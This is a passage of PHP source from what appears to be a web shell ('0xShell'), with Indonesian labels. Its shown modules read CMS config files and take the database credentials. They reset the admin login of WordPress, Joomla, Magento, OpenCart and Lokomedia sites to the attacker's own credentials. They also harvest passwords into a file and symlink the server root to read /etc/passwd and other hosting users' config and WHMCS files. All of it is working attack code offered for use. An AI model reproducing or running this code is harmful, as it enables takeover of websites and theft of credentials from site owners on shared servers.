    if ($_POST['gass']) {
        echo "<center><h1>Config Reset Password</h1>\r\n    <form method='post'>\r\n    Link Config: <br>\r\n    <textarea name='link' style='width: 450px; height:250px;'>";
        UrlLoop($_POST['linkconf'], $_POST['tipe']);
        echo "</textarea><br>\r\n    <input type='submit' style='width: 450px;' name='ngentuconfig' value='Hajar!!'>\r\n    </form></center>";
    } else {
        echo "<center>\r\n    <h1>Config Reset Password</h1>\r\n    <form method=\"post\">\r\n    Select Type :<br><select class=\"select\" name=\"tipe\"  style=\"width: 450px;\" height=\"10\">\r\n    <option value=\"Wordpress\">Wordpress</option>\r\n    <option value=\"Joomla\">Joomla</option>\r\n    <option value=\"Lokomedia\">Lokomedia</option>\r\n    <option value=\"Magento\">Magento</option>\r\n    <option value=\"OpenCart\">OpenCart</option>\r\n    <option value=\"txt\">All Config</option>\r\n    </select><br>\r\n    Link Config :<br>\r\n    <input type=\"text\" name=\"linkconf\" height=\"10\" style=\"width: 450px;\" placeholder=\"http://0xdark.com/cox_symconf/\"><br>\r\n    <input type=\"submit\" style=\"width: 450px;\" name=\"gass\" value=\"Hajar!!\">\r\n    </form></center>";
    }
    if ($_POST['ngentuconfig']) {
        echo "<center><table style='width:100%'>\r\n  <tr>\r\n    <th>CMS</th>\r\n    <th>User</th>\r\n    <th>Password</th>\r\n    <th>Login</th>\r\n    <th>Config</th>\r\n  </tr>";
        $user = '0x1999';
        $pass = "0x1999";
        $passx = md5($pass);
        $link = explode("\r\n", $_POST['link']);
        foreach ($link as $file_conf) {
            $config = file_get_contents($file_conf);
            if (preg_match("/JConfig|joomla/", $config)) {
                $dbhost = ambilkata($config, "host = '", "'");
                $dbuser = ambilkata($config, "user = '", "'");
                $dbpass = ambilkata($config, "password = '", "'");
                $dbname = ambilkata($config, "db = '", "'");
                $dbprefix = ambilkata($config, "dbprefix = '", "'");
                $prefix = $dbprefix . "users";
                $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC");
                $result = mysql_fetch_array($q);
                $id = $result['id'];
                $site = ambilkata($config, "sitename = '", "'");
                $update = mysql_query("UPDATE {$prefix} SET username='{$user}',password='{$passx}' WHERE id='{$id}'");
                echo "<tr><td>Joomla</td>";
                //echo "[ ".$file_conf." ]<br>";
                //echo "CMS => Joomla<br>";
                if ($site == '') {
                    $url_target = "<font color=red>ERROR</font><br>";
                } else {
                    $url_target = $site;
                }
                if (!$update) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>Update Error</td><td>!</td><td>" . $file_conf . "</td>";
                } elseif (!$conn) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>Connection Error</td><td>!</td><td>" . $file_conf . "</td>";
                } elseif (!$db) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>DB Error</td><td>!</td><td>" . $file_conf . "</td>";
                } else {
                    echo "<td><font color=lime>{$user}</font></td>";
                    echo "<td><font color=lime>{$pass}</font></td>";
                    echo "<td><a href=\"https://www.google.com/search?source=hp&q='{$url_target}'\" target=\"_BLANK\">{$url_target}</a></td>";
                    echo "<td>" . $file_conf . "</td>";
                }
                echo "</tr>";
                mysql_close($conn);
            } elseif (preg_match("/WordPress/", $config)) {
                $dbhost = ambilkata($config, "DB_HOST', '", "'");
                $dbuser = ambilkata($config, "DB_USER', '", "'");
                $dbpass = ambilkata($config, "DB_PASSWORD', '", "'");
                $dbname = ambilkata($config, "DB_NAME', '", "'");
                $dbprefix = ambilkata($config, "table_prefix  = '", "'");
                $prefix = $dbprefix . "users";
                $option = $dbprefix . "options";
                $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC");
                $result = mysql_fetch_array($q);
                $id = $result[ID];
                $q2 = mysql_query("SELECT * FROM {$option} ORDER BY option_id ASC");
                $result2 = mysql_fetch_array($q2);
                $target = $result2[option_value];
                if ($target == '') {
                    $url_target = "<font color=red>DOMAIN ERROR</font>";
                } else {
                    $url_target = "<a href='{$target}/wp-login.php' target='_blank'><u>{$target}/wp-login.php</u></a>";
                }
                $update = mysql_query("UPDATE {$prefix} SET user_login='{$user}',user_pass='{$passx}' WHERE id='{$id}'");
                echo "<tr><td>Wordpress</td>";
                //echo "[ ".$file_conf." ]<br>";
                //echo $url_target;
                if (!$update or !$conn or !$db) {
                    echo "<td><font color=red>" . mysql_error() . "</font></td><td>!</td><td>!</td><td>" . $file_conf . "</td>";
                } else {
                    echo "<td><font color=lime>{$user}</font></td>";
                    echo "<td><font color=lime>{$pass}</font></td>";
                    echo "<td>{$url_target}</td>";
                    echo "<td>" . $file_conf . "</td>";
                }
                echo "</tr>";
                mysql_close($conn);
            } elseif (preg_match("/Magento|Mage_Core/", $config)) {
                $dbhost = ambilkata($config, "<host><![CDATA[", "]]></host>");
                $dbuser = ambilkata($config, "<username><![CDATA[", "]]></username>");
                $dbpass = ambilkata($config, "<password><![CDATA[", "]]></password>");
                $dbname = ambilkata($config, "<dbname><![CDATA[", "]]></dbname>");
                $dbprefix = ambilkata($config, "<table_prefix><![CDATA[", "]]></table_prefix>");
                $prefix = $dbprefix . "admin_user";
                $option = $dbprefix . "core_config_data";
                $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC");
                $result = mysql_fetch_array($q);
                $id = $result[user_id];
                $q2 = mysql_query("SELECT * FROM {$option} WHERE path='web/secure/base_url'");
                $result2 = mysql_fetch_array($q2);
                $target = $result2[value];
                if ($target == '') {
                    $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                } else {
                    $url_target = "Login => <a href='{$target}/admin/' target='_blank'><u>{$target}/admin/</u></a><br>";
                }
                $update = mysql_query("UPDATE {$prefix} SET username='{$user}',password='{$passx}' WHERE user_id='{$id}'");
                echo "[ " . $file_conf . " ]<br>";
                echo "CMS => Magento<br>";
                echo $url_target;
                if (!$update or !$conn or !$db) {
                    echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
                } else {
                    echo "[+] username: <font color=lime>{$user}</font><br>";
                    echo "[+] password: <font color=lime>{$pass}</font><br><br>";
                }
                mysql_close($conn);
            } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
                $dbhost = ambilkata($config, "'DB_HOSTNAME', '", "'");
                $dbuser = ambilkata($config, "'DB_USERNAME', '", "'");
                $dbpass = ambilkata($config, "'DB_PASSWORD', '", "'");
                $dbname = ambilkata($config, "'DB_DATABASE', '", "'");
                $dbprefix = ambilkata($config, "'DB_PREFIX', '", "'");
                $prefix = $dbprefix . "user";
                $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC");
                $result = mysql_fetch_array($q);
                $id = $result[user_id];
                $target = ambilkata($config, "HTTP_SERVER', '", "'");
                if ($target == '') {
                    $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                } else {
                    $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a><br>";
                }
                $update = mysql_query("UPDATE {$prefix} SET username='{$user}',password='{$passx}' WHERE user_id='{$id}'");
                echo "[ " . $file_conf . " ]<br>";
                echo "CMS => OpenCart<br>";
                echo $url_target;
                if (!$update or !$conn or !$db) {
                    echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
                } else {
                    echo "[+] username: <font color=lime>{$user}</font><br>";
                    echo "[+] password: <font color=lime>{$pass}</font><br><br>";
                }
                mysql_close($conn);
            } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
                $dbhost = ambilkata($config, 'server = "', '"');
                $dbuser = ambilkata($config, 'username = "', '"');
                $dbpass = ambilkata($config, 'password = "', '"');
                $dbname = ambilkata($config, 'database = "', '"');
                $prefix = "users";
                $option = "identitas";
                $conn = mysql_connect($dbhost, $dbuser, $dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM identitas ORDER BY id_identitas ASC");
                $result = mysql_fetch_array($q);
                $target = $result[alamat_website];
                if ($target == '') {
                    $target2 = $result[url];
                    $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    if ($target2 == '') {
                        $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $cek_login3 = file_get_contents("{$target2}/adminweb/");
                        $cek_login4 = file_get_contents("{$target2}/lokomedia/adminweb/");
                        if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                            $url_target2 = "Login => <a href='{$target2}/adminweb' target='_blank'><u>{$target2}/adminweb</u></a><br>";
                        } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                            $url_target2 = "Login => <a href='{$target2}/lokomedia/adminweb' target='_blank'><u>{$target2}/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target2 = "Login => <a href='{$target2}' target='_blank'><u>{$target2}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                } else {
                    $cek_login = file_get_contents("{$target}/adminweb/");
                    $cek_login2 = file_get_contents("{$target}/lokomedia/adminweb/");
                    if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                        $url_target = "Login => <a href='{$target}/adminweb' target='_blank'><u>{$target}/adminweb</u></a><br>";
                    } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                        $url_target = "Login => <a href='{$target}/lokomedia/adminweb' target='_blank'><u>{$target}/lokomedia/adminweb</u></a><br>";
                    } else {
                        $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                    }
                }
                $update = mysql_query("UPDATE {$prefix} SET username='{$user}',password='{$passx}' WHERE level='admin'");
                echo "[ " . $file_conf . " ]<br>";
                echo "CMS => Lokomedia<br>";
                if (preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                    echo $url_target2;
                } else {
                    echo $url_target;
                }
                if (!$update or !$conn or !$db) {
                    echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
                } else {
                    echo "[+] username: <font color=lime>{$user}</font><br>";
                    echo "[+] password: <font color=lime>{$pass}</font><br><br>";
                }
                mysql_close($conn);
            }
        }
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'grabpass') {
    if ($_POST['gass']) {
        echo "<center><h1>Config Password Grabber</h1>\r\n        <form method='post'>\r\n        Link Config: <br>\r\n        <textarea name='link' style='width: 450px; height:250px;'>";
        UrlLoop($_POST['linkconf'], 'txt');
        echo "</textarea><br>\r\n        <input type='submit' style='width: 450px;' name='grabpass' value='Hajar!!'>\r\n        </form></center>";
    } else {
        echo "<center><h1>Config Password Grabber</h1>\r\n        <form method='post'>\r\n        Link Config: <br>\r\n        <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/0xsym/'><br>\r\n        <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>\r\n        </form></center>";
    }
    if ($_POST['grabpass']) {
        $link = explode("\r\n", $_POST['link']);
        echo "<textarea>";
        foreach ($link as $dir_config) {
            $ambilpass = ambil_password($dir_config);
            $hh = @file_get_contents("password.txt");
            @file_put_contents("password.txt", $hh . $ambilpass);
            echo $ambilpass;
        }
        echo "</textarea>";
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'symlink') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    $d0mains = @file("/etc/named.conf");
    if ($d0mains) {
        @mkdir("0xsymlink", 0777);
        @chdir("0xsymlink");
        @exe("ln -s / root");
        $file3 = 'Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
        $fp3 = fopen('.htaccess', 'w');
        $fw3 = fwrite($fp3, $file3);
        @fclose($fp3);
        echo "\r\n<table align=center border=1 style='width:60%;border-color:#333333;'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>";
        $dcount = 1;
        foreach ($d0mains as $d0main) {
            if (eregi("zone", $d0main)) {
                preg_match_all('#zone "(.*)"#', $d0main, $domains);
                flush();
                if (strlen(trim($domains[1][0])) > 2) {
                    $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                    echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>\r\n<td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td>\r\n<td>" . $user['name'] . "</td>\r\n<td><a href='{$full}/0xsymlink/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
                    flush();
                    $dcount++;
                }
            }
        }
        echo "</table>";
    } else {
        $TEST = $etcpasswd;
        if ($TEST) {
            @mkdir("0xsymlink", 0777);
            @chdir("0xsymlink");
            exe("ln -s / root");
            $file3 = 'Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
            $fp3 = fopen('.htaccess', 'w');
            $fw3 = fwrite($fp3, $file3);
            @fclose($fp3);
            echo "\r\n <table align=center border=1><tr>\r\n <td align=center>S. No.</td>\r\n <td align=center>Users</td>\r\n <td align=center>Symlink</td></tr>";
            $dcount = 1;
            $file = $etcpasswd;
            preg_match_all('/(.*?):x:/', $file, $file);
            foreach ($file[1] as $matches) {
                echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";
                echo "<td align=center><font class=txt><a href={$full}/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                $dcount++;
            }
            echo "</table>";
        } else {
            if ($os != "Windows") {
                @mkdir("0xsymlink", 0777);
                @chdir("0xsymlink");
                @exe("ln -s / root");
                $file3 = '
Options Indexes FollowSymLinks
DirectoryIndex jancox.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
                $fp3 = fopen('.htaccess', 'w');
                $fw3 = fwrite($fp3, $file3);
                @fclose($fp3);
                echo "\r\n <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";
                $temp = "";
                $val1 = 0;
                $val2 = 1000;
                for (; $val1 <= $val2; $val1++) {
                    $uid = @posix_getpwuid($val1);
                    if ($uid) {
                        $temp .= join(':', $uid) . "\n";
                    }
                }
                echo "<br/>";
                $temp = trim($temp);
                $file5 = fopen("test.txt", "w");
                fputs($file5, $temp);
                fclose($file5);
                $dcount = 1;
                $file = fopen("test.txt", "r") or exit("Unable to open file!");
                while (!feof($file)) {
                    $s = fgets($file);
                    $matches = array();
                    $t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
                    $matches = str_replace("home/", "", $matches[1]);
                    if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
                        continue;
                    }
                    echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";
                    echo "<td align=center><font class=txt><a href={$full}/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
                    $dcount++;
                }
                fclose($file);
                echo "</table></div></center>";
                unlink("test.txt");
            } else {
                echo "<center><font size=3>Cannot create Symlink</font></center>";
            }
        }
    }
} elseif (isset($_GET['do']) && $_GET['do'] == 'config') {
    if (strtolower("PHP") == "win") {
        echo "<script>alert(\"Tidak bisa di gunakan di server windows\")</script>";
        exit;
    }
    if ($_POST) {
        if ($_POST['tipe'] == 'grabsymv') {
            @mkdir("0xsymv", 0777);
            exe("ln -s / 0xsymv/root");
            $htaccess = "Options Indexes FollowSymLinks\r\nDirectoryIndex jancox.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any";
            @file_put_contents("0xsymv/.htaccess", $htaccess);
            $etc_passwd = $_POST['passwd'];
            $etc_passwd = explode("\n", $etc_passwd);
            foreach ($etc_passwd as $passwd) {
                $pawd = explode(":", $passwd);
                $user = $pawd[5];
                $usera = preg_replace('/\\/var\\/www\\/vhosts\\//', '', $user);
                if (preg_match('/vhosts/i', $user)) {
                    exe("ln -s " . $user . "/httpdocs/wp-config.php 0xsymv/" . $usera . "-Wordpress.txt");
                    exe("ln -s " . $user . "/httpdocs/configuration.php 0xsymv/" . $usera . "-Joomla.txt");
                    exe("ln -s " . $user . "/httpdocs/config/koneksi.php 0xsymv/" . $usera . "-Lokomedia.txt");
                    exe("ln -s " . $user . "/httpdocs/forum/config.php 0xsymv/" . $usera . "-phpBB.txt");
                    exe("ln -s " . $user . "/httpdocs/sites/default/settings.php 0xsymv/" . $usera . "-Drupal.txt");
                    exe("ln -s " . $user . "/httpdocs/config/settings.inc.php 0xsymv/" . $usera . "-PrestaShop.txt");
                    exe("ln -s " . $user . "/httpdocs/app/etc/local.xml 0xsymv/" . $usera . "-Magento.txt");
                    exe("ln -s " . $user . "/httpdocs/admin/config.php 0xsymv/" . $usera . "-OpenCart.txt");
                    exe("ln -s " . $user . "/httpdocs/application/config/database.php 0xsymv/" . $usera . "-Ellislab.txt");
                }
            }
        }
        if ($_POST['tipe'] == 'grabsym') {
            @mkdir("0xsym", 0777);
            @symlink("/", "0xsym/root");
            $htaccess = "Options Indexes FollowSymLinks\r\nDirectoryIndex jancox.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any";
            @file_put_contents("0xsym/.htaccess", $htaccess);
        }
        if ($_POST['tipe'] == 'grabsym404') {
            @mkdir("0xsym404", 0777);
            @symlink("/", "0xsym404/root");
            $htaccess = "Options Indexes FollowSymLinks\r\nDirectoryIndex jancox.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nAddIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC' ^^DIRECTORY^^\r\nDefaultIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='\r\nIndexIgnore *.txt404\r\nIndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*0xsym404 [NC]\r\nRewriteRule \\.txt\$ %{REQUEST_URI}404 [L,R=302.NC]";
            @file_put_contents("0xsym404/.htaccess", $htaccess);
        }
        if ($_POST['tipe'] == 'grab') {
            mkdir("0xgrab", 0777);
            $isi_htc = "Options all\nRequire None\nSatisfy Any";
            $htc = fopen("0xgrab/.htaccess", "w");
            fwrite($htc, $isi_htc);
        }
        $passwd = $_POST['passwd'];
        preg_match_all('/(.*?):x:/', $passwd, $user_config);
        foreach ($user_config[1] as $user_cox) {
            $grab_config = array("/home/{$user_cox}/.accesshash" => "WHM-accesshash", "/home/{$user_cox}/public_html/config/koneksi.php" => "Lokomedia", "/home/{$user_cox}/public_html/forum/config.php" => "phpBB", "/home/{$user_cox}/public_html/sites/default/settings.php" => "Drupal", "/home/{$user_cox}/public_html/config/settings.inc.php" => "Shop", "/home/{$user_cox}/public_html/app/etc/local.xml" => "Magento", "/home/{$user_cox}/public_html/admin/config.php" => "OpenCart", "/home/{$user_cox}/public_html/application/config/database.php" => "Ellislab", "/home/{$user_cox}/public_html/vb/includes/config.php" => "Vbulletin", "/home/{$user_cox}/public_html/includes/config.php" => "Vbulletin", "/home/{$user_cox}/public_html/forum/includes/config.php" => "Vbulletin", "/home/{$user_cox}/public_html/forums/includes/config.php" => "Vbulletin", "/home/{$user_cox}/public_html/cc/includes/config.php" => "Vbulletin", "/home/{$user_cox}/public_html/inc/config.php" => "MyBB", "/home/{$user_cox}/public_html/includes/configure.php" => "OsCommerce", "/home/{$user_cox}/public_html/shop/includes/configure.php" => "OsCommerce", "/home/{$user_cox}/public_html/os/includes/configure.php" => "OsCommerce", "/home/{$user_cox}/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/{$user_cox}/public_html/products/includes/configure.php" => "OsCommerce", "/home/{$user_cox}/public_html/cart/includes/configure.php" => "OsCommerce", "/home/{$user_cox}/public_html/inc/conf_global.php" => "IPB", "/home/{$user_cox}/public_html/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/wp/test/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/blog/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/beta/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/portal/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/site/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/wp/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/WP/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/news/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/wordpress/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/test/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/demo/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/home/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/v1/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/v2/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/press/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/new/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/blogs/wp-config.php" => "Wordpress", "/home/{$user_cox}/public_html/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/blog/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/submitticket.php" => "^WHMCS", "/home/{$user_cox}/public_html/cms/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/beta/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/portal/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/site/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/main/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/home/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/demo/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/test/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/v1/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/v2/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/joomla/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/new/configuration.php" => "Joomla", "/home/{$user_cox}/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/WHMC/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Whmc/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/whmc/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/WHM/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Whm/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/whm/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/HOST/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Host/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/host/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Supportes/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/supportes/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/domains/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/domain/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Hosting/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/hosting/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/CART/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Cart/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/cart/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/ORDER/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Order/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/order/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Client/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/client/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/clientarea/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Support/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/support/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/BILLING/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Billing/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/billing/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/BUY/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Buy/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/buy/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Manage/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/manage/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/Checkout/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/checkout/submitticket.php" => "WHMCS", "/home/{$user_cox}/public_html/BILLINGS/submitticket.php" => "WHMCS", 